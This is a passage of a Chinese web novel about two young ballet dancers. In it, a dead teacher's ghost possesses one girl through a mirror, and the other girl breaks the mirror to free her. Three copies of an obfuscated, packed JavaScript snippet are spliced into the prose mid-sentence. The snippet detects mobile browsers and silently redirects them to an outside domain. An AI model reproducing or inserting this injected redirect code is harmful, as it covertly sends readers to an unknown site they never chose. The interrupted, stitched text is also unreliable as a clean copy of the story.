“噗——好多灰。” “咳咳咳——” 素熙最终还是走到了那架钢琴前，但没想到刚翻开盖子就是一阵灰尘，呛得她说不出话。 侧头想要去呼吸一口清新空气时，脸正好和镜子里的自己对上了。 仿佛第一次见自己这张脸，素熙不知不觉就走到了镜子面前。 “你好。”素熙元气地对着镜子里的自己打招呼。 沉默了一会儿之后，她伸头看着在另一个房间里迟迟没有出来的珍星。 待得有些无聊的她，转过身准备再看看其他地方。 “阿尼哟！” 空灵到变形的女生从她背后响起，素熙猛地转身。 镜子里还是只有她而已。 不对，还是觉得不对劲，一瞬间阴森的感觉涌上心头， 可是无论怎么看着镜子，也还是很正常，正当素熙以为是自己有点害怕想太多的时候。 她的头却像被人按住一样，猛地向下看。 地上——地上有一些镜子碎片。 将素熙的脸分为了好几块，有的是眼睛，有的是嘴巴...... 眼睛突然眨了一下，然后是镜子里的嘴巴一张一合。 “我在这里！” “等、等一下，这里是鬼屋吗？” 比起尖叫，素熙用了更加平静但显然有些被吓呆的吐槽来表现自己的心情。 她试着摇摇头甩开刚才奇怪的画面，这似乎也发挥了作用。 地上的碎片只是普通的银镜，正常不已。 素熙也没有再感觉到那种压迫。 “莫叽？” 童年时光大多一个人在家度过的素熙并不是很害怕这些一惊一乍的东西。 她自己一个人就能发出各种声音来充当玩伴。 只是，她心里还是长出了一点怀疑的枝丫。 其实是有不对的事情在的，从之前就有。 但她也想不起来多少。 而在这个时候，珍星也打开了房间门，走出来的珍星并没有穿她们带过来的练功服。 是一件火红色的舞衣，能看出改动的痕迹，说明这是一件旧衣服。 “珍星......”素熙有一种预感，珍星似乎会对她说什么，也许是秘密。 “可以帮我伴奏吗？” “当、当然。” 一架许久没人碰过的琴，素熙随意按下几个按键时，音准依旧。 居然没有走音，这其实是一件很奇怪的事情。 “珍星要跳什么？” “KitriAct1，可以吗？”珍星的声音淡淡的。 素熙从善如流地弹起来，流畅的音乐仿佛化成了实质可见的东西。 珍星是它的演绎者。 堂吉诃德、吗？ “我们以前就见过吧，素熙。” 接着最后一段的旋转，珍星最后停在了素熙面前，借用弯腰的礼节抱住了素熙。 “四年前的少儿大赛上，我见到的人就是素熙。” 珍星主动提起了这件事，给出了截然不同的回答。 明明上次素熙试探性问这件事情的时候，珍星的反应明明是不记得。 “其实我一直都记得素熙。” “可是珍星你明明说......” 素熙伸手抱住珍星，却觉得，此刻的她们之间隔得很远。 也许是因为接下来珍星要说的话。 “四年前，我很嫉妒素熙得到了冠军。” “比起嫉妒，我更恨自己。” “所以，不想让素熙还记得这件事情。” 珍星虽然主动与素熙相认了，虽然只是这样短短几句话。 也足够素熙了解，她脑海里的这段经历，对于珍星而言其实并不幸福。 “发生什么了？” 素熙感到心痛，也许是和此刻的珍星同步了心跳，共振着哀伤。 “其实素熙妈妈告诉我，素熙你一直都有着比我更好的路可以走。” “素熙你不要为我放弃什么，好吗？” 珍星的眼泪滴在素熙的肩上，那样滚烫，但她的话又是这样的冰冷。 “素熙，你去法国吧。” 素熙觉得自己应该惊讶，可却不觉得意外，在妈妈说过那些话之后，她有一直有预感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644438|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 只是没想到，珍星最后还是会劝自己。 素熙失神，她的声音也陡然间变得虚弱。 “为什么？” 为什么要现在说这些。 是为了我好，还是因为珍星你厌弃我了呢？ 素熙不想走，她不知道为什么一定要走。 没有两全其美的办法吗？ “因为我讨厌素熙。” “讨厌素熙成为第一名，我无论如何，总是差一点才能够得上的第一名。” 这不是珍星第一次说这种话。 但没一次会比现在要悲伤。 “我的老师，在那次比赛之后，死掉了。” “一直疼爱我，教授我芭蕾的老师，自杀了。” 珍星盯着那面镜子，企图从里面再看见老师的身影。 结果只是徒然， 那次没能取得任何成果的比赛，虽然老师出发前说珍星要是拿不到名次就不配做自己的弟子。 这虽然只是一个玩笑话。 可在第二天，老师就吊死在了村子里的大树上。 仿佛被人逼迫，可她脸上又带着满意的笑容。 珍星对她最后的记忆停留在老师离开的那一夜。 那个，模糊的告别。 “我当然知道这些与素熙你没有关系。” “可是如果，如果那个时候，不是你该多好？” 这是一种很正常的现象，当一个人失利时往往会不由自主怨恨上离自己最近的那个获利者。 如果没有遇见素熙，如果那个人不是素熙。 珍星也许就不会觉得这样愧疚，而是会毫无顾忌地恨上这名陌生人。 “所以素熙，你走吧。” “回到首尔，按照你妈妈的安排，去法国吧。” “珍星......” 也许什么理由都无法说服素熙，唯有这个。 唯有这样伤心的珍星，这样和她其实完全没有关系的事情，才会让她低头。 痛她所痛，愿她所愿。 日子一天天过着，终于来到了终点。 珍星果然，不再需要素熙了。 “珍星，送我去海边好不好？” 素熙擦掉她的眼泪，恢复了平静。 钢琴的盖子猛地倒下，巨大的响声，却并未引起她们的任何注意。 这一刻的悲伤是洪水猛兽，将她们完全包裹。 素熙低下头再次看见那些银镜碎片，耳边回荡起只有她一个人能听见的声音。 “可是亲爱的，她并不甘心。” “成为一串可有可无的泡沫。” “成为她泛黄的旧忆。” 你是谁？你到底是谁？ 被珍星送上最后一班船，在发动机击打海面发出的轰鸣声中，素熙听到了回答。 “我就是你呀，素熙。” 于是，素熙对着海岸上的珍星大声喊起来。 “来找我，珍星。” 其实珍星什么也听不见，正如那个夜晚，模糊的感官根本接收不到任何讯息。 但正是因为，珍星什么也听不到。 她才会一遍又一遍说：“来找我，珍星。” 直到现在，海水上涨的季节，涨潮时期出现的不只是海货，还有海底不可见的东西。 就像森林里躲着不出来的家伙们也开始蠢蠢欲动了。 很久很久以前，老师曾经告诉珍星一个传说。 按下黑白琴键，从一键数到第二十九键，就能祈求森林里古老的神明实现愿望。 “我的愿望吗？” 小小的珍星坐在钢琴边，在老师鼓励的微笑下，高兴地说出自己的愿望。 “我想要一直和老师在一起跳舞、弹琴，听老师讲故事。” 她注意到老师突然露出的一点苦恼。 “是、是珍胜太贪心了吗？” “不，是因为珍胜许了一个很棒的愿望。” “老师太过高兴了。” 老师刚刚去世的那段时间，还叫做珍胜的珍星生了一场怪病。 吃什么药都好不起来，直到村里的老中医让她改掉名字，情况才好起来。 老中医年轻时在东方游学见多识广。 可对于珍星的父母，他并没有透露太多。 只是长长叹了一口气。 仿佛在说，一切也只是拖延时间。 终有一天，会被找到的。 “珍胜呐——” 在那场怪梦里，看不清脸的女人这样呼唤着小小的珍星，让她无法苏醒。 而在素熙离开的这一天，珍星久违地做起这个怪梦。 只是这一次，她说。 “珍星呐——” 28. 鱿鱼 叮铃铃是电话响起的声音。 “哟不瑟哟，喂，是素熙吗？” “嘟——嘟——” 一瞬间接通的电话，在急迫的素熙妈妈询问时，立刻挂断，仿佛就是刻意在折磨她。 素熙妈妈回拨又回拨电话却迟迟没被接起。 也许是从小让素熙自生自灭着长大，如今是一种循环报应。 素熙失踪了。 叮铃铃——电话再次响起。 素熙妈妈握着电话，心绪复杂地开口。 “您、您好。” 电话那头的听起来有些犯怯的声音。 “你好，我找一下宋珍星。” 于是电话那边的人声远离，依稀能听见，接电话的人正在呼唤。 “珍星呐——珍星——” 这让素熙妈妈有些恍然，这和一个月前，她打过去的情形几乎一模一样。 不同的是，之前的那通电话，她是经验丰富的主导者，而现在，她是一个绝望的求助者。 这是一种很微妙的状态，失序感涌上心头，而素熙妈妈还是要故作镇静。 “您好，我是珍星。” “珍星你好，我是素熙妈妈……” 记得那一天这样的对白。 “素熙、妈妈？您打过来有什么事情吗？” “我们素熙在你家对吧。” “嗯、嗯，是的，素熙在我家做客，大约会在暑假结束的时候，我们会一起回首尔。” “请阿姨你放心，我会好好照顾素熙的。” 珍星的话说到这里时透露着一些心虚。 她看了一眼正在客厅吃西瓜的素熙。 面色红润，清丽可人，可是她的一只脚却缠着厚厚的绷带。 “总之，我不会让素熙有事的。” 珍星暗暗下着决心，这时候的她还在计划和素熙明天去哪里玩一会儿。 带着素熙去赶海、逛逛特色海鲜集市、还是去附近比较有名的小山看看风景呢？ 素熙妈妈就是在这个时候突然笑起来。 那绝不是一种放心的笑。 “暑假结束？” “我给素熙订了下礼拜的航班，她需要在暑假之前飞去法国。” “应该不需要麻烦你多关照。” 久居高位的人说话的声音总是和煦，只是说话的内容会对比性地讽刺。 但珍星并没有因为素熙妈妈这样明显的嘲弄而气愤或者深受打击。 她只是淡然地问：“需要我让素熙来听电话吗？” “我记得素熙明明有带手机。” “如果她真的愿意去的话，您就没必要打来我们家不是吗？” 所以，素熙妈妈的淡然明明只是一种伪装而已，没必要害怕，更没必要为此羞恼。 珍星是个讨厌麻烦的人，因为讨厌麻烦的弯弯绕绕，所以她总能捕捉到那些弦外之音。 更容易读懂一句话表面下的深层含义。 虽然因此她总是很爱多想，不过现在就起用了不是吗？ “没错。可能是因为素熙也到了叛逆的年纪，但是你比她听话对吧，珍星？” “素熙不在乎什么前途未来，但作为她的母亲，你作为她的朋友，你在乎的对吧。” “你想看见她变成一个废物吗？” 素熙妈妈倒也坦率，没有再过多，坦白了目的。 “劝劝她吧，除了芭蕾，她也什么都做不好。” 珍星没空关心这个“也”字下的含义。 她选择反驳的是另一点。 “素熙不是什么废物，她是个很厉害的人。” “什么都能做的很好，无论是钢琴，芭蕾，唱歌，甚至是人性美也很很好。” “请您不要这样说她，哪怕是素熙妈妈您。” 珍星义正言辞道，因为声音有点大，引来了素熙的注目，她于是扬起笑容。 假装这只是一个普通电话。 “那么你呢？” “什么？” 素熙妈妈突然提问让珍星有些没反应过来。 “既然你知道我们素熙是个完美的孩子。” “那么你呢？你能做到她这样吗？” “如果普通不是说她，真正普通的人，会是谁呢？” 素熙妈妈劝说的策略很简单，叫做道德绑架和情绪打压。 “素熙有时间可以去想自己做什么，无论去法国也好，留在首尔也好，她都没关系。” “可你没有时间吧，珍星同学，你知道学习芭蕾需要多长时间，只是单靠努力没有用的，这是一条需要不断向上的道路。” “你应当是不需要朋友才对。” 这是珍星原本的想法，可是她现在已经改变了。 “可是，你真的能做好朋友的角色吗？” “会增添很多不必要的麻烦，会要你牺牲唾手可得的东西，又因为你的朋友会在某一天成为你的对手，到了那个时候你又得纠结该不该和她成为敌人。” 珍星想说不会的。 素熙不会成为她的敌人。 素熙是她的朋友呀。 “你能保证吗？你能保证当这样的日子到来时，你的第一选择是素熙吗？” 在看见宋珍星的第一眼，素熙妈妈就知道她是哪种人。 因为珍星眼里有着她年轻时一样的光芒。 不服输，野心勃勃又故作低调。 这样的人，一点也不适合她的孩子，偏执得不像话的孩子。 也根本无法承受素熙的热烈。 “其实我真的不讨厌你，相反，我很欣赏你。” “但我必须告诉你，同样的问题，我也曾问过素熙，你能想到素熙的回答吗？” “珍星同学，她说，她可以为你去死。” 素熙妈妈的轻笑在电话通讯中失了真，有一种刺挠人心的感觉。 “你承受不起她的真心，因为你心中最重要的人，只有你自己吧。” “与其这样，不如在素熙为你投入更多之前，结束掉这一切。也许情况还不算太糟。” 电话随之挂断，徒留珍星站在原地。 她一句话也无法反驳。 似乎她这样的人天生就是带着原罪出生的。 “珍星打了好久的电话啊，是在和谁讲电话呢？”素熙从背后搭在珍星的肩膀上。 好奇，但却保留着分寸。 珍星突然想起在最开始不断越界的素熙，她是什么时候变成这样的？ 变成这样，都是为了自己吗？ 珍星心中产生这样的疑惑时，就是她意识到自己在素熙心中的分量太过浓重的时刻。 这代表着，素熙对自己的感情，远远超过自己的想象对吧。 像潮水一样的情感，自己能够负担吗？ “是一个讨厌的人。”珍星淡淡一笑。 这个人并非十恶不赦，只是让珍星在此刻讨厌自己而已。 一个月后的现在，讨厌的人再次打来电话。 珍星抱着难以言喻的情绪接通电话。 “您好，素熙妈妈，找我什么事？” “拜托你，珍星，拜托你去找我们素熙好不好？” “出了什么事？” 复杂的情绪在这一刻全部化作纯粹的担心。 “素熙怎么了？” 两周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644439|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前回到首尔的素熙，服软般听从了妈妈的安排，前往法国。 实际上，她根本没有登上那班飞机。 而法国那边直到最近几天才联系素熙妈妈通知她素熙并未按时抵达这件事情。 “我找了她很久。” “她乐队的那些朋友我也都问过了。” “我甚至不知道，她还在不在首尔。” “但是阿姨相信你可以找到她。” 所以无论怎样，素熙妈妈其实早就知道在素熙心里珍星的重要性。 可是明明知道，却还是要说出那些伤人的话，这是为什么呢？ 也许是因为，她总以为，素熙不过是个小孩子吧。 对于珍星而言，拒绝才是当下最好的选择。 因此她沉默了很久，甚至到最后也没有回答，在素熙妈妈的请求声中，挂断了电话。 “嘟——嘟——” 第二次被挂断电话的素熙妈妈，心中有一种后悔，但比起承认这种悔意，她更愿意用怒火来掩饰。 “我把你养这么大，你居然就是用这些来报答我吗？” “真是……” 可是说着说着，形象精干的女性却无助地哭起来。 空荡荡的房子里只有素熙妈妈一个人，犹如从前每一个日夜，这个家里只有素熙一个人。 这样的感觉，很可怕。 “我该怎么办，你究竟在哪里啊，我的孩子。” 挂断电话的珍星像个没事人一样，忙着家务，即使被妈妈关心了也只是笑一笑。 下午正常地和妈妈一起搬着海鲜去市场贩卖。 一对双胞胎手牵手走到她的摊位上。 “哦莫！是鱿鱼！好想吃。” “那就买，姐姐可以卖给我们一些鱿鱼吗？” 个子小小的孩子穿着朴素，甚至有些可怜，但却没有任何愁苦。 是因为身边多了一个人吗？ 珍星熟练地打包好东西给她们。 脱下来围裙，告诉妈妈自己有些事情要做。 “怎么了？” “妈妈，我好像忘了什么。” 珍星只是简单说了一句要去首尔，转身离开，妈妈还在身后问她忘记了什么，一个人去首尔要不要妈妈陪着。 “珍星呐，是什么要紧的事情必须要去吗？” 妈妈拜托旁边摊位的人照顾摊子，追上来问珍星，她有些担心自己的女儿。 “很重要么……那，那妈妈先跟你回去，我再给你一些钱。” 妈妈并没有问具体是什么事情。 只是在珍星点头之后，也陪着她点头，甚至还回家帮珍星收拾了几件衣服。 “这个，也带给那个孩子吧。” 妈妈拿出一顶编织草帽，考虑到孩子们的年纪，还装饰着粉色小花，用毛线织成的装饰将草帽点缀得时尚起来。 “她上次走得好急，我忘记送她礼物了。” 妈妈一边说一边替珍星装着行李。 珍星那颗扑通通紧张的心因为妈妈的信任和照顾，松弛下来。 她学着妈妈的语气，说出了自己去找素熙理由。 “是啊，妈妈。素熙走得太急。” “我忘记请她吃烤鱿鱼了。” “那就再邀请她来我们家，妈妈亲自为你们烤，好不好？” 妈妈像哄小孩一样对她说。 珍星背上背包，回头对她笑起来。 “好。” 而她也终于有勇气拨通素熙的号码。 即使没听见被海浪吞噬的请求又怎样呢？ 珍星会回应你。 无论她是否听见你的心愿。 29. 晴天 素熙回到家的那天已是深夜。 难得素熙妈妈在家，但母女二人之间却没有多少温情。 “回来了？” “今晚收拾一下东西，后天早上我送你去机场。” 母亲沉浸在自己的满意中，背着身在沙发上收看着无聊的晚间节目。 她并未转身去看素熙，因此不会发现，浑身湿漉漉的素熙，有多么无神。 她经历了什么？ 仿佛坠海，浑身冒着寒冷的白气。 可惜素熙妈妈没有回头看一眼，所以也无从得知，明明已经回到家的素熙，是如何消失的。 素熙一开始是在房间里的，只是她看起来十分僵硬。 静静地坐在镜子面前，一动不动。 登上船的那刹，素熙其实已经想明白。 珍星的话并非就是她的真心，素熙知道，一定是妈妈向她施压了。 因为珍星也流泪了，她的伤心并不比自己少。 “可是，你想和她一直在一起。” 镜子里的自己开始动了，微笑着对素熙说。 虽然察觉到珍星的心意并非她嘴上冷情的话一样，但素熙也的确找不到任何办法。 坚持有时是救命良药，有时只是徒劳。 虽然可以这样说服自己，珍星心里是有自己的，可毕竟珍星并没有说出来不是吗？ 素熙怕自己一厢情愿，更怕她会给珍星增添什么麻烦。 而镜子里的东西，不仅善于蛊惑人心，也擅长趁虚而入。 “无论怎样，你在这里猜来猜去是没有任何意义的，如果想知道答案……” “你得亲自去问她。” “可是……”素熙对着镜子和它对话。 “可是我……不好意思。”素熙犹豫着说出理由，但这并不是真正的理由。 只是这样说，会比较好说得出口。 “我可以帮你。”镜子里的自己微笑起来。 “如果你没办法去做，我可以帮你去问。” “那你想要什么？”素熙看过去，眼里有怀疑，但也有着孤注一掷的决心。 “我只想找到一个人能陪着珍星。” “我想，那个人会是你。” “你是，珍星说的那个老师，对吧？” 素熙从她的话里意识到这一点，原本的怀疑又消失了不少。 因为对珍星的在意，让她现在对这个鬼多了一分亲近。 素熙想，虽然是鬼魂，但珍星的老师不会害珍星。 更何况，老师现在说的理由也很动人，她说她只是怕珍星一个人太孤单。 “我们珍星，一直都是一个孤单的孩子。” “只要你愿意暂时将身体借给我。” “我一定会让你们之间解除误会。” 镜子里的女人此刻已经变回了自己原本的样子，具有亲和力的美貌让素熙也深受触动。 “好……好的。” 于是素熙这样点头了。 老师进入了她的身体。 眼里闪过一瞬的红光提醒着素熙，其实她们并非第一次见面。 而素熙，似乎根本没有考虑过这样一个问题——老师虽然表现得温和有礼。 可她分明早就已经控制过素熙的身体了。 如果她真的有这样好心，又为什么一定会选择素熙呢？ 难道真如她所说，她只是为了珍星么。 窗外打响一道雷，随后雨纷纷落，这好像解释了素熙为什么一身湿地回来了。 原来今天是个坏天气，从早到晚都在下雨么。 “跟我走吧。” “我们去找珍星，我的珍星。” 尾音在“我的”两个字上加重。 脑子里传来了素熙的声音，她似乎觉得不对劲，可她被禁锢住，无法再控制自己的身体。 “素熙”在镜子前碰了碰镜面上自己的脸，勾勒出一抹浅浅的微笑。 面对素熙在体内的挣扎，她只是轻轻按住镜子里的那张脸。 食指放在唇前，保持微笑，保持悠然。 “嘘。” “别怕，我会帮助你实现愿望。” “当然，也要实现我们的愿望。” 然后，她从窗台一跃而下，鬼魅如影，一瞬间就做到了踪迹全无。 但她的踪迹也并非没有规律，毕竟一开始就说过了。 “我们要和珍星永远在一起，才可以啊。” “可是你没有来找我。” 一间屋子里，珍星悠悠醒来。 一睁眼看见的就是状态极不正常的素熙一边轻抚着自己的脸，一边说出执着之词。 但她并未害怕，只是同样执念地问素熙：“可是，素熙你没有来找我。” “也并没有联系我。” “我很想你。” 珍星是下了船之后被打晕带来的，她本该表现得惊慌失措。 毕竟，这可以算作是一场绑架。 可她却很冷静，只因为，对面这个人是素熙。。 是她的好朋友。 于是珍星缓缓开口，叫出她的名字。 “素熙。” “素熙呀......我很想你。”珍星笑起来。 可是素熙却走过来，她的眼神里透着无动于衷，嘴角保持着优雅的微笑。 素熙弯腰去看珍星，原本还在笑的珍星，也突然屏住了呼吸。 危险感，让她的身体自动有了反应。 这是令人难以忍受的，独属于夏天的雷雨季，屋外大雨倾盆，屋内却湿热难忍。 天空那一道闪电蓦地砸在屋外一棵树上，照亮了素熙此刻的脸。 猛然贴在珍星的脸上，素熙笑起来，标准微笑露出的八颗牙齿，现在却带着一丝毛骨悚然。 “叮——” 空灵的声音响起。 “回答错误。” 下一秒素熙掐住珍星的脖子，依旧风度翩翩，优雅之下竟有一种变态般的美感。 “要再回答一次试试看吗？”素熙这样问。 这样出人意料的反应，也让珍星彻底发现不对劲。 她变得有些无措，呼吸急促地问：“素熙你怎么了？” 在即将窒息的瞬间，素熙放开了手。 将狼狈的珍星视作自己手中的小鱼，可以随时兴起逗玩。 “给你一个小提示吧，我亲爱的珍星，现在的我并不是你口中的素熙。” 素熙的指尖轻轻的拍打在珍星的脸上，仿佛在弹奏乐曲，细看更像是在按压琴键。 然而珍星始终没有什么反应。 也许是因为她意识到了什么，所以才没办法做出合适的反应。 “还没有想起来吗？我亲爱的珍胜……” 素熙的脸贴在珍星脸边，此刻更像是一条蓄势待发的毒蛇，只要等到合适的时机，就会一口咬上珍星的脖子。 珍胜这个名字，似乎已经足以解开笼罩在过去的那层面纱了。 “是老师吗？是您回来了吗？” 珍星终于抬起头，回望向后半步将自己隐藏在一半黑暗中的人。 这原本是一间漆黑的屋子，因此珍星无从得知自己到底身在何处，可随着这一句话问出口。 屋内居然神奇般地亮起了一盏灯。 而珍星也听到不远处钢琴自动弹动起来的音乐声。 就仿佛是为她的回答而感到开心。 “叮咚叮——回答正确。” 珍星也终于得以借助灯光看清楚。 这间屋子并不是什么陌生的地方，而是老师的故居。 也就是她曾经带着素熙来过的这间房子里。 联想到这段日子以来那些恐怖不安的经历，珍星心中充斥着一种复杂。 豁然开朗的同时，反而更加觉得恐惧。 “这段日子都是您吗？” “那些奇怪的画面和情况，都是您做出来的吗？” 珍星喃喃发问，而最终这些问题都化作简单的三个字。 “为什么？” “是我做了让老师不满意的事情吗？” 珍星坚定了神色，继续说。 “如果是我的问题的话，能否请老师你离开素熙的身体呢。” “素熙是无辜的。” “如果，如果老师你一定要带走谁的话，就请你带走我吧。” 这并不是一个适合摊牌的地点，对于珍星来说，即使现在真的意识到了“灵异鬼魂”的存在，她也不会忘记自己的目的。 找到素熙，不只是身体，还有素熙本身。 “称呼得这么亲密吗？” “我的珍胜呐，你是不是忘记了这个人做了什么，这个抢走本该属于你冠军的人，这个害死了我的人。” 老师站在镜子面前，镜子里是老师生前的模样，是珍星记忆里温婉的女人，镜子外的素熙却隐隐留下了两行血泪。 这也外向化了这位老师此刻真正的心情。 愤恨，恶意。 她嘴里说的话，正如那一天，对素熙揭开初遇真相的珍星自己说的那些话。 “珍胜你那时不也是这样说的吗？” “你都忘了？” 老师操纵着素熙的身体走过来，血红的泪水抵在被绑着凳子上的珍星脸上。 这似乎是一种恐吓。 “不是那样的老师。” 珍星犹豫着，在知道素熙其实无法听见的情况下，说出了真正的心声。 “那时候，我想说的并不是这个。” “你想说什么？” “我……我想说……” 珍星的脸被抬起来，她看着素熙此刻恢复正常的脸感到一阵恍惚。 她闭上眼睛，把接下来的话当成遗言般，抱着如果现在不说就再也没机会说出口的决心。 “我想要素熙别走。” “我还有很多事情没能和素熙一起做。” “可是，可是我不能这样自私地留住素熙。” “所以我在想，在未来和前途面前，素熙应该选择这个，而不是我。” 珍星很清楚地知道，自己不是能消化那种深刻感情的人。 “其实我没有办法负担素熙的感情，我做不到为素熙去死，我也无法为素熙的未来发挥什么重要的作用。” “可是，我想要素熙能够留下来。” 最后一句话，珍星说得很轻，很轻。 有时候她觉得自己也许是个谎话连篇的小人，就像现在这些话，她也并不觉得自己说的全是真话。 她分辨不清自己的心，也就无法分辨真与假。 正因如此，她的话好像没能打动老师，也无法唤醒沉睡的素熙。 “这里，我似乎没有感觉到你的真诚。” 尖锐的指甲透过薄薄一层的衬衣刺着珍星的胸膛。 如果再用些力气，似乎能将整颗心脏都掏出来。 “不如我把珍胜你的心脏掏出来，看一看是黑色的还是红色的，如果你说的是真话，我就相信你，好不好？” 明明没有给珍星第二个选择，却还要她回答是与否，这也许就是，鬼的可怕之处。 现在似乎真的能闻到死亡的气息了，潮湿如青苔般的霉气，弹射出的无形孢子正在空气中弥漫。 真正恐怖的并不是血肉模糊，而是当你闻到味道的时候，这些霉菌孢子已经侵占了你整具身体。 “来陪我吧，珍胜。” 老师向她伸出手，抱起珍星，再一次坐在钢琴边，准备为自己的收割献上最后一曲。 这是一首轻快又简单的练习曲，本身并没有什么值得说的。 但对珍星而言，却有些意义。 “我们珍胜其实真的很没有这方面的天赋。” “我还记得，你当初学了好久，也没办法弹下来，我也因此失去了教你钢琴的兴趣。” 琴声慢下来，老师停手看过来。 “但是没关系，很快，我就可以一直教你学习钢琴，直到你学会为止。” 珍星完全没有任何反抗的能力，她甚至连眨眼睛都不太能做得到。 可她还是尽全力地想要动起来。 也就在这时，老师弹琴的手突然变得不受控制，胡乱地在琴键上敲出刺耳的声音。 “砸……砸……” 这是素熙在说话。 原来珍星刚刚那番话并不是毫无作用。 珍星也在这个时候恢复了一点行动力。 她本想解开绑住自己的绳子，但却在真正行动时改变了想法。 “老师，我会弹了。” “我弹给你听好不好？” 如何珍星没有选择说这个，那么潜伏在素熙身体里的老师会在接下来轻而易举抢回身体控制权的瞬间，杀死她。 杀死她最心爱的学生。 可偏偏，珍星心有所感地听进去了老师方才的那番碎碎念。 “是吗？我忘记了，我们珍胜已经长这么大了，这样的简单的曲子，你早该学会了。” 老师用素熙的脸作出笑眯眯的表情。 很有一种违和感，但珍星却视而不见，乖巧地冲对方笑了笑。 她伸出手放在琴键上，深呼吸一口气。 她脑子里在想乐谱，更在想素熙那一秒钟里对自己说的那个字。 “砸。” 她要让珍星砸什么呢？ 毫无头绪，也让她弹错了音符。 “错了。” 老师握住她的手，四目相对，无人说话。 严厉的目光停顿了一会儿又转换成珍星熟悉的温柔。 “还是会出错，我的珍胜，你还是没有长大啊。” 虽然说了要杀死珍星要拉她来陪自己。 但老师现在还是什么都没做。 她耐心地在钢琴上纠正珍星的弹法。 她的温和让珍星有了一点勇气。 “其实我，一直都很想您。” 她学着对方的样子，握住她的手，让老师不得不停下来听自己说话。 “我也一直都很愧疚。” “是因为我什么名次都没拿到，老师你才会死掉吗？” “我也许真的是个很糟糕的人，无论在哪里都不会令人满意，老师您是这样离开我的，学校里的学生们也总在我的背后戳着我的脊梁骨。” 其实鬼，尤其是老师这种死了很久的鬼，是没有什么情感可言的，时间过得太久，生前所有浓厚的情感都会渐渐被遗忘被消失。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事到如今，忏悔没有任何作用，但珍星的话的确让老师有了变化。 具体点来说，素熙短暂地恢复了控制权。 这使得她能直接说出关键信息。 “砸掉镜子，快砸掉那面镜子！” 这仿佛是老师有意为之，又或许，她只是单纯在那一刻无法抵挡住素熙本人的意识。 等到老师再次控制素熙身体时，珍星已经捡起地上的石头走到镜子前。 再次上线的老师已经彻底没有了刚才的温柔和人性，她完全沦为了“愿望”的执行者。 朝着珍星扑过去，试图用最原始的方法杀掉她。 危机当头，珍星不再犹豫，她灵活地躲开老师的攻击，意识到鬼魂真正的攻击只能靠人来完成，珍星的心里没有了对未知的恐惧。 恐惧消失时，珍星已经靠着灵活的躲闪，借用惯性让老师整个人冲向了镜子。 与此同时，珍星也举起了石头砸过去。 镜子碎裂的声音传来。 一切终于尘埃落定。 “珍胜……” “啊啊啊——” 不，并没有结束。 镜子只是发出了碎掉的声音，可是并没有碎，老师发出痛苦的哀嚎声，可是她仍在素熙的身体里。 这种痛苦的声音渐渐的不只是老师的声音，还混合上了素熙的声音。 “怎么会这样？” 珍星冲上去，她已身心俱疲，可现在却必须得撑住。 是哪个环节出了问题，为什么镜子无法被砸碎，愿望，那个愿望本身是什么？ 珍星闭上眼睛努力地想着。 暂时失去了行动力的老师还在控制着周围的东西，不断发出恐吓，细小的东西砸在珍星头上，失真变形的声音还在她耳边凄厉地叫喊。 它们想让珍星害怕。 产生恐惧，产生并不稳定的情绪时，一个人的灵魂就最容易被带走。 而珍星能做的只有忽视这些攻击，专注地去思考。 勇者故事里的灵光一闪并没有发生在珍星的身上，直到自己被无形之物抓住拖走时，她也没有想出什么关键。 甚至产生了绝望的情绪。 “有没有谁可以救救我。” 珍星发出了求救，心中多么希望，此刻能天降使者，拯救她。 罗曼故事里总会描写一个极度危险的时刻，当女主角处于死境，眼前一片灰暗时，属于她的男主角就会披着圣光登场。 一切荣光属于那个未知的男主角。 女主角自己也会成为奖品。 可有谁想过，女主角要支撑多久才能等到这份飘渺的救赎，而支撑了这么久的她，本身就是勇气的代名词。 当然，珍星似乎并不是善于开导自己的勇者。 她是心存死志的未亡人。 珍星以为自己的生命即将到达终点，所以决定疯狂一把，她最后一次挣扎，冲向那面镜子。 伸出手狠狠砸上去。 “如果我真的会死在这里。” “至少，把素熙还给我。” 珍星想，无论怎样，她也要将素熙的身体拿回来。 于是将手砸得皮开肉绽，镜子本身也对她有一股吸力，寻常人发现这一点，就会想要立即离开以免被吸进去。 珍星想得却是，如果一定要把她吸进去，那就把素熙的身体放出来。 一命抵一命。 手上的血越来越多，几乎流满了整面镜子，也许这样太过夸大，但珍星的脸色的确越来越苍白。 她似乎真的快死了。 “把素熙，还给我。” 失血过多的她陷入了昏迷。 心中却在此刻有了一丝畅快，至少她已经努力过了。 “珍胜，是个小骗子。” 珍星迷迷糊糊听见了这样一句话。 她想起了老师离开的那个夜晚，原来也是有这样一句话。 她伤心地告诉老师自己没有参加比赛，自己很嫉妒很讨厌那个冠军，自己很懊恼很后悔帮助了剧院外面那个胖女孩，自己下定决心以后只会跳舞，不会再做其他多余的事情。 在那个时候，老师这样对她说了。 温柔的笑里带着对小孩子的打趣。 小骗子珍星说谎了。 假如再来一次还会这样做。 